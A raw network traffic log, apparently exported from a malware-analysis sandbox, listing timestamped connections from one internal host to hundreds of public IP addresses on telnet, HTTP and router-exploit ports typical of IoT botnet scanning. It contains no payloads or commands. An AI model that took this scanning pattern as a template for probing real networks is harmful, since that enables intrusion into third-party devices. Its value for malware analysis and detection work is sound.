Oct 23, 2022 17:56:37.109189987 CEST	34926	443	192.168.2.23	178.158.59.248
Oct 23, 2022 17:56:37.109210014 CEST	39882	443	192.168.2.23	210.224.9.65
Oct 23, 2022 17:56:37.109232903 CEST	34892	443	192.168.2.23	117.60.70.193
Oct 23, 2022 17:56:37.109247923 CEST	443	34892	117.60.70.193	192.168.2.23
Oct 23, 2022 17:56:37.109266043 CEST	34892	443	192.168.2.23	117.60.70.193
Oct 23, 2022 17:56:37.109272003 CEST	44684	443	192.168.2.23	123.223.118.197
Oct 23, 2022 17:56:37.109282970 CEST	443	44684	123.223.118.197	192.168.2.23
Oct 23, 2022 17:56:37.109303951 CEST	44684	443	192.168.2.23	123.223.118.197
Oct 23, 2022 17:56:37.109318018 CEST	55890	443	192.168.2.23	109.223.218.189
Oct 23, 2022 17:56:37.109328985 CEST	443	55890	109.223.218.189	192.168.2.23
Oct 23, 2022 17:56:37.109350920 CEST	55890	443	192.168.2.23	109.223.218.189
Oct 23, 2022 17:56:37.109368086 CEST	53626	443	192.168.2.23	79.71.237.250
Oct 23, 2022 17:56:37.109396935 CEST	443	53626	79.71.237.250	192.168.2.23
Oct 23, 2022 17:56:37.109411955 CEST	53626	443	192.168.2.23	79.71.237.250
Oct 23, 2022 17:56:37.109417915 CEST	41074	443	192.168.2.23	202.248.141.75
Oct 23, 2022 17:56:37.109430075 CEST	443	41074	202.248.141.75	192.168.2.23
Oct 23, 2022 17:56:37.109455109 CEST	41074	443	192.168.2.23	202.248.141.75
Oct 23, 2022 17:56:37.109471083 CEST	55254	443	192.168.2.23	118.149.209.53
Oct 23, 2022 17:56:37.109477997 CEST	443	55254	118.149.209.53	192.168.2.23
Oct 23, 2022 17:56:37.109499931 CEST	55254	443	192.168.2.23	118.149.209.53
Oct 23, 2022 17:56:37.109527111 CEST	47216	443	192.168.2.23	118.123.123.231
Oct 23, 2022 17:56:37.109539032 CEST	443	47216	118.123.123.231	192.168.2.23
Oct 23, 2022 17:56:37.109566927 CEST	60130	443	192.168.2.23	5.167.190.168
Oct 23, 2022 17:56:37.109585047 CEST	443	60130	5.167.190.168	192.168.2.23
Oct 23, 2022 17:56:37.109597921 CEST	47216	443	192.168.2.23	118.123.123.231
Oct 23, 2022 17:56:37.109603882 CEST	60130	443	192.168.2.23	5.167.190.168
Oct 23, 2022 17:56:37.109606981 CEST	53392	443	192.168.2.23	37.162.141.146
Oct 23, 2022 17:56:37.109617949 CEST	443	53392	37.162.141.146	192.168.2.23
Oct 23, 2022 17:56:37.109635115 CEST	53392	443	192.168.2.23	37.162.141.146
Oct 23, 2022 17:56:37.109648943 CEST	33276	443	192.168.2.23	109.89.214.29
Oct 23, 2022 17:56:37.109658957 CEST	443	33276	109.89.214.29	192.168.2.23
Oct 23, 2022 17:56:37.109675884 CEST	33276	443	192.168.2.23	109.89.214.29
Oct 23, 2022 17:56:37.109776974 CEST	20327	80	192.168.2.23	181.80.60.69
Oct 23, 2022 17:56:37.109793901 CEST	20327	80	192.168.2.23	181.45.106.78
Oct 23, 2022 17:56:37.109817028 CEST	20327	80	192.168.2.23	181.97.210.118
Oct 23, 2022 17:56:37.109863043 CEST	20327	80	192.168.2.23	181.111.89.101
Oct 23, 2022 17:56:37.109863043 CEST	20327	80	192.168.2.23	181.126.201.9
Oct 23, 2022 17:56:37.109910011 CEST	20327	80	192.168.2.23	181.106.161.246
Oct 23, 2022 17:56:37.109910011 CEST	20327	80	192.168.2.23	181.28.241.197
Oct 23, 2022 17:56:37.109935999 CEST	20327	80	192.168.2.23	181.191.129.6
Oct 23, 2022 17:56:37.109957933 CEST	20327	80	192.168.2.23	181.68.158.151
Oct 23, 2022 17:56:37.109985113 CEST	20327	80	192.168.2.23	181.30.235.54
Oct 23, 2022 17:56:37.110011101 CEST	20327	80	192.168.2.23	181.230.104.162
Oct 23, 2022 17:56:37.110032082 CEST	20327	80	192.168.2.23	181.25.207.5
Oct 23, 2022 17:56:37.110049009 CEST	20327	80	192.168.2.23	181.141.251.156
Oct 23, 2022 17:56:37.110076904 CEST	20327	80	192.168.2.23	181.193.139.119
Oct 23, 2022 17:56:37.110096931 CEST	20327	80	192.168.2.23	181.7.112.66
Oct 23, 2022 17:56:37.110126972 CEST	20327	80	192.168.2.23	181.145.221.206
Oct 23, 2022 17:56:37.110146999 CEST	20327	80	192.168.2.23	181.124.160.11
Oct 23, 2022 17:56:37.110161066 CEST	20327	80	192.168.2.23	181.13.192.119
Oct 23, 2022 17:56:37.110197067 CEST	20327	80	192.168.2.23	181.108.171.232
Oct 23, 2022 17:56:37.110210896 CEST	20327	80	192.168.2.23	181.178.113.71
Oct 23, 2022 17:56:37.110254049 CEST	20327	80	192.168.2.23	181.117.190.155
Oct 23, 2022 17:56:37.110279083 CEST	20327	80	192.168.2.23	181.49.104.205
Oct 23, 2022 17:56:37.110277891 CEST	20327	80	192.168.2.23	181.216.51.16
Oct 23, 2022 17:56:37.110302925 CEST	20327	80	192.168.2.23	181.188.223.113
Oct 23, 2022 17:56:37.110326052 CEST	20327	80	192.168.2.23	181.19.88.55
Oct 23, 2022 17:56:37.110352039 CEST	20327	80	192.168.2.23	181.8.63.161
Oct 23, 2022 17:56:37.110399961 CEST	20327	80	192.168.2.23	181.55.139.87
Oct 23, 2022 17:56:37.110404015 CEST	20327	80	192.168.2.23	181.100.152.112
Oct 23, 2022 17:56:37.110419989 CEST	20327	80	192.168.2.23	181.186.222.7
Oct 23, 2022 17:56:37.110444069 CEST	20327	80	192.168.2.23	181.191.3.78
Oct 23, 2022 17:56:37.110461950 CEST	20327	80	192.168.2.23	181.236.112.177
Oct 23, 2022 17:56:37.110511065 CEST	20327	80	192.168.2.23	181.63.72.102
Oct 23, 2022 17:56:37.110513926 CEST	20327	80	192.168.2.23	181.195.69.119
Oct 23, 2022 17:56:37.110531092 CEST	20327	80	192.168.2.23	181.32.44.97
Oct 23, 2022 17:56:37.110557079 CEST	20327	80	192.168.2.23	181.84.237.107
Oct 23, 2022 17:56:37.110578060 CEST	20327	80	192.168.2.23	181.17.158.201
Oct 23, 2022 17:56:37.110603094 CEST	20327	80	192.168.2.23	181.139.227.137
Oct 23, 2022 17:56:37.110630035 CEST	20327	80	192.168.2.23	181.140.135.196
Oct 23, 2022 17:56:37.110663891 CEST	20327	80	192.168.2.23	181.163.104.154
Oct 23, 2022 17:56:37.110687971 CEST	20327	80	192.168.2.23	181.98.195.223
Oct 23, 2022 17:56:37.110718966 CEST	20327	80	192.168.2.23	181.251.130.41
Oct 23, 2022 17:56:37.110740900 CEST	20327	80	192.168.2.23	181.108.165.22
Oct 23, 2022 17:56:37.110755920 CEST	20327	80	192.168.2.23	181.86.128.167
Oct 23, 2022 17:56:37.110800982 CEST	20327	80	192.168.2.23	181.37.119.224
Oct 23, 2022 17:56:37.110802889 CEST	20327	80	192.168.2.23	181.107.30.218
Oct 23, 2022 17:56:37.110822916 CEST	20327	80	192.168.2.23	181.84.8.61
Oct 23, 2022 17:56:37.110848904 CEST	20327	80	192.168.2.23	181.216.94.50
Oct 23, 2022 17:56:37.110869884 CEST	20327	80	192.168.2.23	181.24.135.127
Oct 23, 2022 17:56:37.110907078 CEST	20327	80	192.168.2.23	181.84.200.40
Oct 23, 2022 17:56:37.110955000 CEST	20327	80	192.168.2.23	181.216.107.223
Oct 23, 2022 17:56:37.110989094 CEST	20327	80	192.168.2.23	181.38.108.156
Oct 23, 2022 17:56:37.111007929 CEST	20327	80	192.168.2.23	181.189.2.212
Oct 23, 2022 17:56:37.111027956 CEST	20327	80	192.168.2.23	181.168.198.151
Oct 23, 2022 17:56:37.111062050 CEST	20327	80	192.168.2.23	181.203.153.149
Oct 23, 2022 17:56:37.111067057 CEST	20327	80	192.168.2.23	181.230.181.121
Oct 23, 2022 17:56:37.111093044 CEST	20327	80	192.168.2.23	181.242.236.32
Oct 23, 2022 17:56:37.111104012 CEST	20327	80	192.168.2.23	181.74.73.182
Oct 23, 2022 17:56:37.111128092 CEST	20327	80	192.168.2.23	181.104.61.253
Oct 23, 2022 17:56:37.111144066 CEST	20327	80	192.168.2.23	181.31.190.224
Oct 23, 2022 17:56:37.111171007 CEST	20327	80	192.168.2.23	181.171.20.111
Oct 23, 2022 17:56:37.111197948 CEST	20327	80	192.168.2.23	181.200.100.231
Oct 23, 2022 17:56:37.111222029 CEST	20327	80	192.168.2.23	181.240.158.7
Oct 23, 2022 17:56:37.111247063 CEST	20327	80	192.168.2.23	181.16.21.175
Oct 23, 2022 17:56:37.111260891 CEST	20327	80	192.168.2.23	181.214.30.93
Oct 23, 2022 17:56:37.111284971 CEST	20327	80	192.168.2.23	181.80.29.148
Oct 23, 2022 17:56:37.111306906 CEST	20327	80	192.168.2.23	181.218.110.35
Oct 23, 2022 17:56:37.111337900 CEST	20327	80	192.168.2.23	181.95.212.158
Oct 23, 2022 17:56:37.111355066 CEST	20327	80	192.168.2.23	181.184.95.25
Oct 23, 2022 17:56:37.111385107 CEST	20327	80	192.168.2.23	181.135.86.69
Oct 23, 2022 17:56:37.111399889 CEST	20327	80	192.168.2.23	181.63.89.98
Oct 23, 2022 17:56:37.111423969 CEST	20327	80	192.168.2.23	181.18.149.206
Oct 23, 2022 17:56:37.111452103 CEST	20327	80	192.168.2.23	181.32.40.196
Oct 23, 2022 17:56:37.111470938 CEST	20327	80	192.168.2.23	181.56.74.237
Oct 23, 2022 17:56:37.111485958 CEST	20327	80	192.168.2.23	181.192.161.58
Oct 23, 2022 17:56:37.111510992 CEST	20327	80	192.168.2.23	181.55.79.69
Oct 23, 2022 17:56:37.111531019 CEST	20327	80	192.168.2.23	181.82.177.146
Oct 23, 2022 17:56:37.111553907 CEST	20327	80	192.168.2.23	181.9.38.141
Oct 23, 2022 17:56:37.111577988 CEST	20327	80	192.168.2.23	181.92.132.63
Oct 23, 2022 17:56:37.111594915 CEST	20327	80	192.168.2.23	181.132.221.99
Oct 23, 2022 17:56:37.111615896 CEST	20327	80	192.168.2.23	181.111.138.153
Oct 23, 2022 17:56:37.111639977 CEST	20327	80	192.168.2.23	181.80.153.156
Oct 23, 2022 17:56:37.111669064 CEST	20327	80	192.168.2.23	181.115.178.111
Oct 23, 2022 17:56:37.116482019 CEST	37215	20337	78.162.30.101	192.168.2.23
Oct 23, 2022 17:56:37.117039919 CEST	23	20342	75.99.229.161	192.168.2.23
Oct 23, 2022 17:56:37.123128891 CEST	443	40380	123.122.14.212	192.168.2.23
Oct 23, 2022 17:56:37.123140097 CEST	443	41792	94.24.144.228	192.168.2.23
Oct 23, 2022 17:56:37.123167992 CEST	443	51568	5.128.43.223	192.168.2.23
Oct 23, 2022 17:56:37.123203993 CEST	443	42568	123.126.166.144	192.168.2.23
Oct 23, 2022 17:56:37.123229027 CEST	443	33168	178.188.64.78	192.168.2.23
Oct 23, 2022 17:56:37.123254061 CEST	443	54966	210.240.144.210	192.168.2.23
Oct 23, 2022 17:56:37.123259068 CEST	443	60786	5.187.213.151	192.168.2.23
Oct 23, 2022 17:56:37.123287916 CEST	443	55230	2.205.250.37	192.168.2.23
Oct 23, 2022 17:56:37.123292923 CEST	443	46710	202.148.165.175	192.168.2.23
Oct 23, 2022 17:56:37.123323917 CEST	443	54962	2.82.226.206	192.168.2.23
Oct 23, 2022 17:56:37.123342037 CEST	443	54112	37.125.248.80	192.168.2.23
Oct 23, 2022 17:56:37.123362064 CEST	443	40282	148.179.2.10	192.168.2.23
Oct 23, 2022 17:56:37.123393059 CEST	443	52432	5.16.96.88	192.168.2.23
Oct 23, 2022 17:56:37.123420000 CEST	443	35134	42.161.245.188	192.168.2.23
Oct 23, 2022 17:56:37.123431921 CEST	443	34978	212.219.27.100	192.168.2.23
Oct 23, 2022 17:56:37.123471022 CEST	443	48908	202.226.167.225	192.168.2.23
Oct 23, 2022 17:56:37.123493910 CEST	443	58596	5.123.41.177	192.168.2.23
Oct 23, 2022 17:56:37.123524904 CEST	443	59560	123.201.160.1	192.168.2.23
Oct 23, 2022 17:56:37.123532057 CEST	443	53958	178.45.80.235	192.168.2.23
Oct 23, 2022 17:56:37.123577118 CEST	443	43618	94.221.243.207	192.168.2.23
Oct 23, 2022 17:56:37.123594999 CEST	443	43516	118.253.169.164	192.168.2.23
Oct 23, 2022 17:56:37.123619080 CEST	443	47292	37.12.44.67	192.168.2.23
Oct 23, 2022 17:56:37.123631001 CEST	443	51786	118.190.188.137	192.168.2.23
Oct 23, 2022 17:56:37.123645067 CEST	443	59898	79.132.152.204	192.168.2.23
Oct 23, 2022 17:56:37.123667002 CEST	443	46534	42.27.217.8	192.168.2.23
Oct 23, 2022 17:56:37.123697996 CEST	443	53322	109.42.186.4	192.168.2.23
Oct 23, 2022 17:56:37.123706102 CEST	443	41486	117.129.129.210	192.168.2.23
Oct 23, 2022 17:56:37.123738050 CEST	443	49292	123.113.197.162	192.168.2.23
Oct 23, 2022 17:56:37.123764038 CEST	443	56402	123.200.109.106	192.168.2.23
Oct 23, 2022 17:56:37.123769999 CEST	443	39796	109.242.127.54	192.168.2.23
Oct 23, 2022 17:56:37.123810053 CEST	443	59084	178.130.61.150	192.168.2.23
Oct 23, 2022 17:56:37.123831034 CEST	443	58832	109.228.2.127	192.168.2.23
Oct 23, 2022 17:56:37.123835087 CEST	443	37766	202.24.139.78	192.168.2.23
Oct 23, 2022 17:56:37.123868942 CEST	443	58980	148.214.116.107	192.168.2.23
Oct 23, 2022 17:56:37.123893023 CEST	443	58430	148.1.157.175	192.168.2.23
Oct 23, 2022 17:56:37.123899937 CEST	443	58924	210.35.80.23	192.168.2.23
Oct 23, 2022 17:56:37.123929977 CEST	443	41608	94.151.15.100	192.168.2.23
Oct 23, 2022 17:56:37.123955965 CEST	443	50020	212.123.78.152	192.168.2.23
Oct 23, 2022 17:56:37.123963118 CEST	443	43914	202.0.246.77	192.168.2.23
Oct 23, 2022 17:56:37.123996019 CEST	443	53582	212.181.120.244	192.168.2.23
Oct 23, 2022 17:56:37.124022007 CEST	443	43814	123.126.104.194	192.168.2.23
Oct 23, 2022 17:56:37.124028921 CEST	443	44156	42.62.68.157	192.168.2.23
Oct 23, 2022 17:56:37.124058008 CEST	443	43238	123.44.106.83	192.168.2.23
Oct 23, 2022 17:56:37.124093056 CEST	443	55772	178.98.35.104	192.168.2.23
Oct 23, 2022 17:56:37.124095917 CEST	443	35330	118.36.145.80	192.168.2.23
Oct 23, 2022 17:56:37.124125004 CEST	443	33880	37.212.209.222	192.168.2.23
Oct 23, 2022 17:56:37.124155045 CEST	443	32982	178.54.96.71	192.168.2.23
Oct 23, 2022 17:56:37.124161959 CEST	443	40470	202.168.228.58	192.168.2.23
Oct 23, 2022 17:56:37.124191999 CEST	443	59890	37.120.67.92	192.168.2.23
Oct 23, 2022 17:56:37.124217987 CEST	443	34216	210.168.122.237	192.168.2.23
Oct 23, 2022 17:56:37.124231100 CEST	443	60136	94.43.197.0	192.168.2.23
Oct 23, 2022 17:56:37.124259949 CEST	443	45228	148.60.102.77	192.168.2.23
Oct 23, 2022 17:56:37.124284983 CEST	443	44084	94.230.168.164	192.168.2.23
Oct 23, 2022 17:56:37.124296904 CEST	443	60800	148.224.100.125	192.168.2.23
Oct 23, 2022 17:56:37.124331951 CEST	443	42268	212.146.3.88	192.168.2.23
Oct 23, 2022 17:56:37.124358892 CEST	443	33546	210.254.12.125	192.168.2.23
Oct 23, 2022 17:56:37.124362946 CEST	443	58674	109.6.134.18	192.168.2.23
Oct 23, 2022 17:56:37.124408960 CEST	443	40264	212.207.190.220	192.168.2.23
Oct 23, 2022 17:56:37.124428988 CEST	443	35234	123.150.199.39	192.168.2.23
Oct 23, 2022 17:56:37.124438047 CEST	443	55946	178.109.182.131	192.168.2.23
Oct 23, 2022 17:56:37.124474049 CEST	443	60916	123.19.63.149	192.168.2.23
Oct 23, 2022 17:56:37.124491930 CEST	443	51722	123.82.42.25	192.168.2.23
Oct 23, 2022 17:56:37.124500990 CEST	443	58292	117.167.79.91	192.168.2.23
Oct 23, 2022 17:56:37.124533892 CEST	443	40410	123.110.184.117	192.168.2.23
Oct 23, 2022 17:56:37.124558926 CEST	443	46156	109.16.165.116	192.168.2.23
Oct 23, 2022 17:56:37.124567032 CEST	443	58050	178.108.121.38	192.168.2.23
Oct 23, 2022 17:56:37.124598026 CEST	443	46732	5.182.154.212	192.168.2.23
Oct 23, 2022 17:56:37.124624014 CEST	443	54760	5.148.145.48	192.168.2.23
Oct 23, 2022 17:56:37.124630928 CEST	443	37002	117.114.88.18	192.168.2.23
Oct 23, 2022 17:56:37.124665022 CEST	443	58586	79.134.163.212	192.168.2.23
Oct 23, 2022 17:56:37.124691010 CEST	443	53232	42.168.144.206	192.168.2.23
Oct 23, 2022 17:56:37.124700069 CEST	443	53578	210.87.52.105	192.168.2.23
Oct 23, 2022 17:56:37.124730110 CEST	443	45358	37.52.24.182	192.168.2.23
Oct 23, 2022 17:56:37.124766111 CEST	443	57072	2.158.30.118	192.168.2.23
Oct 23, 2022 17:56:37.124792099 CEST	443	46626	178.78.11.151	192.168.2.23
Oct 23, 2022 17:56:37.124813080 CEST	443	49842	2.127.102.74	192.168.2.23
Oct 23, 2022 17:56:37.124838114 CEST	443	40460	202.30.165.0	192.168.2.23
Oct 23, 2022 17:56:37.124854088 CEST	443	45230	123.52.111.109	192.168.2.23
Oct 23, 2022 17:56:37.124876976 CEST	443	44924	79.41.66.85	192.168.2.23
Oct 23, 2022 17:56:37.124901056 CEST	443	42106	117.79.91.6	192.168.2.23
Oct 23, 2022 17:56:37.124912024 CEST	443	34206	123.178.98.16	192.168.2.23
Oct 23, 2022 17:56:37.124939919 CEST	443	35588	212.120.232.150	192.168.2.23
Oct 23, 2022 17:56:37.124969006 CEST	443	39750	212.153.100.71	192.168.2.23
Oct 23, 2022 17:56:37.124974012 CEST	443	38162	210.179.246.141	192.168.2.23
Oct 23, 2022 17:56:37.125005960 CEST	443	39882	210.224.9.65	192.168.2.23
Oct 23, 2022 17:56:37.125030041 CEST	443	52318	2.98.105.139	192.168.2.23
Oct 23, 2022 17:56:37.125040054 CEST	443	34926	178.158.59.248	192.168.2.23
Oct 23, 2022 17:56:37.125072956 CEST	443	44684	123.223.118.197	192.168.2.23
Oct 23, 2022 17:56:37.125099897 CEST	443	53626	79.71.237.250	192.168.2.23
Oct 23, 2022 17:56:37.125107050 CEST	443	34892	117.60.70.193	192.168.2.23
Oct 23, 2022 17:56:37.125134945 CEST	443	55890	109.223.218.189	192.168.2.23
Oct 23, 2022 17:56:37.125160933 CEST	443	41074	202.248.141.75	192.168.2.23
Oct 23, 2022 17:56:37.125169039 CEST	443	55254	118.149.209.53	192.168.2.23
Oct 23, 2022 17:56:37.125200033 CEST	443	47216	118.123.123.231	192.168.2.23
Oct 23, 2022 17:56:37.125224113 CEST	443	60130	5.167.190.168	192.168.2.23
Oct 23, 2022 17:56:37.125232935 CEST	443	53392	37.162.141.146	192.168.2.23
Oct 23, 2022 17:56:37.125261068 CEST	443	33276	109.89.214.29	192.168.2.23
Oct 23, 2022 17:56:37.129806995 CEST	37215	20339	41.214.69.225	192.168.2.23
Oct 23, 2022 17:56:37.138946056 CEST	23	20342	45.35.77.222	192.168.2.23
Oct 23, 2022 17:56:37.160525084 CEST	37215	20339	41.207.250.149	192.168.2.23
Oct 23, 2022 17:56:37.187124968 CEST	23	20342	39.108.234.201	192.168.2.23
Oct 23, 2022 17:56:37.194473982 CEST	2323	20342	27.221.194.99	192.168.2.23
Oct 23, 2022 17:56:37.196680069 CEST	80	20327	181.215.214.236	192.168.2.23
Oct 23, 2022 17:56:37.196871996 CEST	20327	80	192.168.2.23	181.215.214.236
Oct 23, 2022 17:56:37.199928999 CEST	37215	20339	41.223.33.162	192.168.2.23
Oct 23, 2022 17:56:37.224098921 CEST	37215	20340	41.60.59.77	192.168.2.23
Oct 23, 2022 17:56:37.228480101 CEST	60001	20337	70.184.114.248	192.168.2.23
Oct 23, 2022 17:56:37.230457067 CEST	80	20337	104.198.24.222	192.168.2.23
Oct 23, 2022 17:56:37.234184980 CEST	37215	20340	115.200.229.235	192.168.2.23
Oct 23, 2022 17:56:37.243546963 CEST	23	20342	85.239.144.78	192.168.2.23
Oct 23, 2022 17:56:37.253185987 CEST	23	20342	181.96.99.70	192.168.2.23
Oct 23, 2022 17:56:37.253334999 CEST	20342	23	192.168.2.23	181.96.99.70
Oct 23, 2022 17:56:37.255966902 CEST	60001	20337	182.126.182.121	192.168.2.23
Oct 23, 2022 17:56:37.260698080 CEST	23	20342	125.154.159.187	192.168.2.23
Oct 23, 2022 17:56:37.260974884 CEST	8080	20337	197.254.115.60	192.168.2.23
Oct 23, 2022 17:56:37.266186953 CEST	52869	20347	110.137.222.93	192.168.2.23
Oct 23, 2022 17:56:37.266500950 CEST	80	20327	181.215.175.67	192.168.2.23
Oct 23, 2022 17:56:37.266659021 CEST	20327	80	192.168.2.23	181.215.175.67
Oct 23, 2022 17:56:37.268275976 CEST	37215	20337	189.163.67.87	192.168.2.23
Oct 23, 2022 17:56:37.275176048 CEST	80	20325	110.53.161.6	192.168.2.23
Oct 23, 2022 17:56:37.275485992 CEST	20325	80	192.168.2.23	110.53.161.6
Oct 23, 2022 17:56:37.278624058 CEST	23	20342	122.121.194.74	192.168.2.23
Oct 23, 2022 17:56:37.279911041 CEST	23	20342	60.221.55.60	192.168.2.23
Oct 23, 2022 17:56:37.289006948 CEST	8080	20348	187.3.118.194	192.168.2.23
Oct 23, 2022 17:56:37.290713072 CEST	8080	20348	187.182.82.64	192.168.2.23
Oct 23, 2022 17:56:37.294986010 CEST	23	20342	164.155.85.90	192.168.2.23
Oct 23, 2022 17:56:37.295037031 CEST	80	20337	72.235.13.227	192.168.2.23
Oct 23, 2022 17:56:37.297646046 CEST	80	20325	110.42.194.217	192.168.2.23
Oct 23, 2022 17:56:37.297832966 CEST	20325	80	192.168.2.23	110.42.194.217
Oct 23, 2022 17:56:37.303601980 CEST	52869	20347	110.81.249.156	192.168.2.23
Oct 23, 2022 17:56:37.306858063 CEST	8080	20348	189.94.129.189	192.168.2.23
Oct 23, 2022 17:56:37.315468073 CEST	80	20327	181.225.235.162	192.168.2.23
Oct 23, 2022 17:56:37.315675974 CEST	20327	80	192.168.2.23	181.225.235.162
Oct 23, 2022 17:56:37.320928097 CEST	8080	20348	187.86.225.2	192.168.2.23
Oct 23, 2022 17:56:37.326584101 CEST	8080	20348	201.238.205.104	192.168.2.23
Oct 23, 2022 17:56:37.329536915 CEST	52869	20347	110.17.46.12	192.168.2.23
Oct 23, 2022 17:56:37.332602978 CEST	8080	20348	189.57.67.57	192.168.2.23
Oct 23, 2022 17:56:37.332673073 CEST	37215	20340	157.70.231.149	192.168.2.23
Oct 23, 2022 17:56:37.335191965 CEST	80	20344	112.173.80.4	192.168.2.23
Oct 23, 2022 17:56:37.337201118 CEST	8080	20348	201.243.227.76	192.168.2.23
Oct 23, 2022 17:56:37.344444036 CEST	80	20344	112.50.105.23	192.168.2.23
Oct 23, 2022 17:56:37.344614029 CEST	20344	80	192.168.2.23	112.50.105.23
Oct 23, 2022 17:56:37.345197916 CEST	80	20327	181.200.100.231	192.168.2.23
Oct 23, 2022 17:56:37.345312119 CEST	20327	80	192.168.2.23	181.200.100.231
Oct 23, 2022 17:56:37.355297089 CEST	80	20327	181.106.233.189	192.168.2.23
Oct 23, 2022 17:56:37.356494904 CEST	80	20327	181.118.107.252	192.168.2.23
Oct 23, 2022 17:56:37.356605053 CEST	20327	80	192.168.2.23	181.118.107.252
Oct 23, 2022 17:56:37.357867002 CEST	80	20327	181.115.241.136	192.168.2.23
Oct 23, 2022 17:56:37.358650923 CEST	52869	20347	110.29.38.51	192.168.2.23
Oct 23, 2022 17:56:37.366632938 CEST	80	20344	112.202.188.56	192.168.2.23
Oct 23, 2022 17:56:37.369229078 CEST	80	20327	181.5.209.113	192.168.2.23
Oct 23, 2022 17:56:37.371058941 CEST	80	20344	112.210.188.96	192.168.2.23
Oct 23, 2022 17:56:37.372356892 CEST	80	20344	112.204.97.38	192.168.2.23
Oct 23, 2022 17:56:37.372612000 CEST	52869	20347	110.8.247.32	192.168.2.23
Oct 23, 2022 17:56:37.372977972 CEST	80	20325	110.15.49.152	192.168.2.23
Oct 23, 2022 17:56:37.373578072 CEST	52869	20347	110.9.93.179	192.168.2.23
Oct 23, 2022 17:56:37.379808903 CEST	52869	20347	110.8.57.35	192.168.2.23
Oct 23, 2022 17:56:37.380053043 CEST	80	20344	112.210.240.51	192.168.2.23
Oct 23, 2022 17:56:37.380243063 CEST	8080	20348	201.217.245.138	192.168.2.23
Oct 23, 2022 17:56:37.381247044 CEST	80	20325	110.11.154.217	192.168.2.23
Oct 23, 2022 17:56:37.381695986 CEST	80	20327	181.80.29.148	192.168.2.23
Oct 23, 2022 17:56:37.381822109 CEST	20327	80	192.168.2.23	181.80.29.148
Oct 23, 2022 17:56:37.386029005 CEST	52869	20347	110.132.142.42	192.168.2.23
Oct 23, 2022 17:56:37.388636112 CEST	80	20344	112.203.197.119	192.168.2.23
Oct 23, 2022 17:56:37.388885975 CEST	80	20344	112.209.150.38	192.168.2.23
Oct 23, 2022 17:56:37.389700890 CEST	80	20344	112.198.27.215	192.168.2.23
Oct 23, 2022 17:56:37.395812988 CEST	80	20344	112.204.29.198	192.168.2.23
Oct 23, 2022 17:56:37.395925045 CEST	20344	80	192.168.2.23	112.204.29.198
Oct 23, 2022 17:56:37.400763035 CEST	80	20344	112.155.168.91	192.168.2.23
Oct 23, 2022 17:56:37.440990925 CEST	80	20344	112.144.237.93	192.168.2.23
Oct 23, 2022 17:56:37.624917030 CEST	80	20327	181.102.29.197	192.168.2.23
Oct 23, 2022 17:56:37.989700079 CEST	20342	23	192.168.2.23	131.238.207.74
Oct 23, 2022 17:56:37.989706993 CEST	20342	23	192.168.2.23	77.134.227.160
Oct 23, 2022 17:56:37.989706993 CEST	20342	23	192.168.2.23	92.219.35.65
Oct 23, 2022 17:56:37.989725113 CEST	20342	23	192.168.2.23	108.131.159.77
Oct 23, 2022 17:56:37.989725113 CEST	20342	23	192.168.2.23	32.20.61.168
Oct 23, 2022 17:56:37.989746094 CEST	20342	23	192.168.2.23	188.89.32.56
Oct 23, 2022 17:56:37.989747047 CEST	20342	23	192.168.2.23	191.160.74.146
Oct 23, 2022 17:56:37.989747047 CEST	20342	2323	192.168.2.23	66.199.86.62
Oct 23, 2022 17:56:37.989778996 CEST	20342	23	192.168.2.23	199.82.18.54
Oct 23, 2022 17:56:37.989779949 CEST	20342	23	192.168.2.23	92.193.57.125
Oct 23, 2022 17:56:37.989787102 CEST	20342	23	192.168.2.23	104.125.139.26
Oct 23, 2022 17:56:37.989830971 CEST	20342	23	192.168.2.23	165.148.138.62
Oct 23, 2022 17:56:37.989854097 CEST	20342	23	192.168.2.23	77.152.19.151
Oct 23, 2022 17:56:37.989901066 CEST	20342	23	192.168.2.23	108.235.176.178
Oct 23, 2022 17:56:37.989908934 CEST	20342	23	192.168.2.23	4.225.137.141
Oct 23, 2022 17:56:37.989917994 CEST	20342	2323	192.168.2.23	220.169.186.228
Oct 23, 2022 17:56:37.989918947 CEST	20342	23	192.168.2.23	169.90.194.157
Oct 23, 2022 17:56:37.989918947 CEST	20342	23	192.168.2.23	68.12.58.209
Oct 23, 2022 17:56:37.989923954 CEST	20342	23	192.168.2.23	75.154.213.148
Oct 23, 2022 17:56:37.989938021 CEST	20342	23	192.168.2.23	147.193.52.200
Oct 23, 2022 17:56:37.989988089 CEST	20342	23	192.168.2.23	221.54.174.175
Oct 23, 2022 17:56:37.990019083 CEST	20342	23	192.168.2.23	212.157.182.42
Oct 23, 2022 17:56:37.990020037 CEST	20342	23	192.168.2.23	167.52.54.221
Oct 23, 2022 17:56:37.990019083 CEST	20342	2323	192.168.2.23	47.96.125.242
Oct 23, 2022 17:56:37.990019083 CEST	20342	23	192.168.2.23	174.175.138.142
Oct 23, 2022 17:56:37.990019083 CEST	20342	23	192.168.2.23	60.2.55.117
Oct 23, 2022 17:56:37.990094900 CEST	20342	23	192.168.2.23	206.97.156.124
Oct 23, 2022 17:56:37.990099907 CEST	20342	23	192.168.2.23	68.168.37.142
Oct 23, 2022 17:56:37.990103006 CEST	20342	23	192.168.2.23	151.114.186.234
Oct 23, 2022 17:56:37.990130901 CEST	20342	23	192.168.2.23	138.108.139.187
Oct 23, 2022 17:56:37.990163088 CEST	20342	23	192.168.2.23	106.10.75.206
Oct 23, 2022 17:56:37.990169048 CEST	20342	2323	192.168.2.23	163.192.143.61
Oct 23, 2022 17:56:37.990169048 CEST	20342	23	192.168.2.23	86.226.235.74
Oct 23, 2022 17:56:37.990211010 CEST	20342	23	192.168.2.23	27.121.201.212
Oct 23, 2022 17:56:37.990221977 CEST	20342	23	192.168.2.23	24.129.103.8
Oct 23, 2022 17:56:37.990223885 CEST	20342	23	192.168.2.23	121.130.147.221
Oct 23, 2022 17:56:37.990257978 CEST	20342	23	192.168.2.23	167.35.241.35
Oct 23, 2022 17:56:37.990257978 CEST	20342	23	192.168.2.23	32.142.38.108
Oct 23, 2022 17:56:37.990262032 CEST	20342	23	192.168.2.23	220.122.123.145
Oct 23, 2022 17:56:37.990295887 CEST	20342	23	192.168.2.23	96.138.111.89
Oct 23, 2022 17:56:37.990300894 CEST	20342	23	192.168.2.23	209.102.253.15
Oct 23, 2022 17:56:37.990302086 CEST	20342	2323	192.168.2.23	87.2.107.17
Oct 23, 2022 17:56:37.990305901 CEST	20342	23	192.168.2.23	20.121.163.16
Oct 23, 2022 17:56:37.990335941 CEST	20342	23	192.168.2.23	152.190.40.40
Oct 23, 2022 17:56:37.990358114 CEST	20342	23	192.168.2.23	37.48.218.214
